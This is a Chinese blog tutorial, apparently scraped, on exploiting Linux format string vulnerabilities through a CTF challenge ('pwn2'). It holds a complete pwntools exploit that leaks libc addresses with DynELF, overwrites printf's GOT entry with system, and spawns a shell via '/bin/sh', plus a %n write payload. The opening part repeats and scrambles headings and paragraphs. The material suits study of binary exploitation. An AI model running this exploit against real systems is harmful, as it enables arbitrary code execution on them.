Linux 格式化字符串漏洞利用
2017-05-18 22:32
330 查看
目的是接触一些常见的漏洞,增加自己的视野。格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。下面结合着自己的学习经历,把漏洞详细的讲解一下,附上大量的实例。
0x01 漏洞简述
0x1 简介
0x2 产生条件
0x02 内存读取
0x1 printf 参数格式
0x2 堆栈情况
0x3 实例分析
1计算参数偏移个数
1 gdb调试
2 利用pwntools计算
4000
2利用DynELF实现内存泄露
0x03 内存写入
![](https://img-blog.csdn.net/20170518215823110?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMzE0ODExODc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
当
在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道
首先看一下IDA反汇编代码
我们发现了read函数,printf函数标准的格式化字符串漏洞。
![](https://img-blog.csdn.net/20170519104125071?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMzE0ODExODc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
单步进入sprintf函数中,查看堆栈值
![](https://img-blog.csdn.net/20170519104136587?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMzE0ODExODc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
我们发现了我们可控的内存距离sprintf之间的距离为7
我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件
1.我们拥有从Linux发型以来所有版本的 libc 文件
2.我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果
以上是原理,其实说白了就是要利用能够打印指定内存的函数
利用gdb调试一下,在printf处设断点。查看一下堆栈的状况
![](https://img-blog.csdn.net/20170519125819027?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMzE0ODExODc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
发现偏移为5 于是构造
![](https://img-blog.csdn.net/20170519125905153?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcXFfMzE0ODExODc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解
在pwntools中有现成的函数可以使用
0x01 漏洞简述
0x1 简介
0x2 产生条件
0x02 内存读取
0x1 printf 参数格式
0x2 堆栈情况
0x3 实例分析
1计算参数偏移个数
1 gdb调试
2 利用pwntools计算
4000
2利用DynELF实现内存泄露
0x03 内存写入
0x01 漏洞简述
0x1 简介
格式化字符串漏洞是一种常见的漏洞,原理和利用方法也很简单,主要利用方式就是实现内存任意读和写。前提是其中的参数可控。如果要深入理解漏洞必须进行大量的实验。0x2 产生条件
首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值,一般是循环执行0x02 内存读取
这是泄露内存的过程0x1 printf 参数格式
这部分来自icemakr的博客 32位 读 '%{}$x'.format(index) // 读4个字节 '%{}$p'.format(index) // 同上面 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 64位 读 '%{}$x'.format(index, num) // 读4个字节 '%{}$lx'.format(index, num) // 读8个字节 '%{}$p'.format(index) // 读8个字节 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 %1$lx: RSI %2$lx: RDX %3$lx: RCX %4$lx: R8 %5$lx: R9 %6$lx: 栈上的第一个QWORD
0x2 堆栈情况
当
printf("%s%d%d%d")后面没有参数时,会打印后面的堆栈值。如果有read等函数,内存值可控,就可以实现内存任意读、任意写。
在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道
程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。
0x3 实例分析
这里选用广东省红帽杯的pwn2来具体说明。首先看一下IDA反汇编代码
while ( 1 ) { memset(&v2, 0, 0x400u); read(0, &v2, 0x400u); printf((const char *)&v2); fflush(stdout); }
我们发现了read函数,printf函数标准的格式化字符串漏洞。
1计算参数偏移个数
这里有两种方式(1) gdb调试
在printf之前设置断点,0x0804852E单步进入sprintf函数中,查看堆栈值
我们发现了我们可控的内存距离sprintf之间的距离为7
(2) 利用pwntools计算
利用FmStr函数计算from pwn import * # coding:utf-8 # io = process('./pwn2') # io =remote('106.75.93.221', 20003) elf = ELF('./pwn2') def test(payload): io = process('./pwn2') io.sendline(payload) info = io.recv() io.close return info autofmt = FmtStr(test) print autofmt.offset
2利用DynELF实现内存泄露
在这里我先介绍一下DynELF泄露内存的原理,采用这篇博客里写的我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件
1.我们拥有从Linux发型以来所有版本的 libc 文件
2.我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果
以上是原理,其实说白了就是要利用能够打印指定内存的函数
#coding:utf-8 from pwn import * sh = process('./pwn2') elf = ELF('./pwn2') #计算偏移 def test(payload): temp = process('./pwn2') temp.sendline(payload) info = temp.recv() temp.close() return info auto = FmtStr(test) print auto.offset #泄露内存 因为函数本来可以循环执行所以不用rop链闭合 def leak(addr): payload = 'A%9$s'#这里需要注意一下 为了精确泄露内存用字符定下位 payload += 'AAA' payload += p32(addr) sh.sendline(payload) sh.recvuntil('A') content = sh.recvuntil('AAA') # content = sh.recv(4) print content if(len(content) == 3): print '[*] NULL' return '\x00' else: print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex')) print len(content) return content[0:-3] #-------- leak system d = DynELF(leak, elf=ELF('./pwn2')) system_addr = d.lookup('system','libc')#意思是在libc中寻找system地址 log.info('system_addr:' + hex(system_addr))
0x03 内存写入
首先分析一个简单点的程序#include <stdio.h> int main() { int flag=5 ; int *p = &flag; char a[100]; scanf("%s",a); printf(a); if(flag == 2000) { printf("good\n" ); } return 0; }
利用gdb调试一下,在printf处设断点。查看一下堆栈的状况
发现偏移为5 于是构造
%010x%010x%010x%01970x%n
这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解
在pwntools中有现成的函数可以使用
fmtstr_payload可以实现修改任意内存
fmtstr_payload(auto.offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')
def test(payload):
temp = process('./pwn2')
temp.sendline(payload)
info = temp.recv()
temp.close()
return info
auto = FmtStr(test)
print auto.offset
def leak(addr):
payload = 'A%9$s'
payload += 'AAA'
payload += p32(addr)
sh.sendline(payload)
sh.recvuntil('A')
content = sh.recvuntil('AAA')
# content = sh.recv(4)
print content
if(len(content) == 3):
print '[*] NULL'
return '\x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
print len(content)
return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')
log.info('system_addr:' + hex(system_addr))
#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))
payload = fmtstr_payload(auto.offset, {printf_got: system_addr})
sh.sendline(payload)
payload = '/bin/sh\x00'
sh.sendline(payload)
sh.interactive()
相关文章推荐
- 学习记录:格式化字符串漏洞利用
- 格式化字符串漏洞利用 四、利用的变体
- 格式化字符串漏洞利用 六、特殊案例
- 格式化字符串漏洞利用 一、引言
- 格式化字符串漏洞利用 五、爆破
- 格式化字符串漏洞利用 三、格式化字符串漏洞
- 格式化字符串漏洞利用 七、工具
- 格式化字符串漏洞利用 二、格式化函数
- java利用map对字符串格式化参数
- Linux kernel ‘register_disk’函数格式化字符串漏洞
- 《转载》利用Linux内核的多个安全漏洞获得root权限
- 利用PHP脚本在Linux下用md5函数加密字符串的方法
- [转载]格式化字符串漏洞实验
- 工作目录 python格式化字符串 logging不输出 linux其他用户执行权限 2016.08.19回顾
- linux中利用find命令分析日志,统计包含某字符串的行数
- Linux下堆漏洞的利用机制
- 利用PHP脚本在Linux下用md5函数加密字符串的方法
- Linux Bash Shell字符串抽取、按列合并和格式化输出
- Linux下将整数格式化成二进制表示的字符串
- linux常见漏洞利用技术实践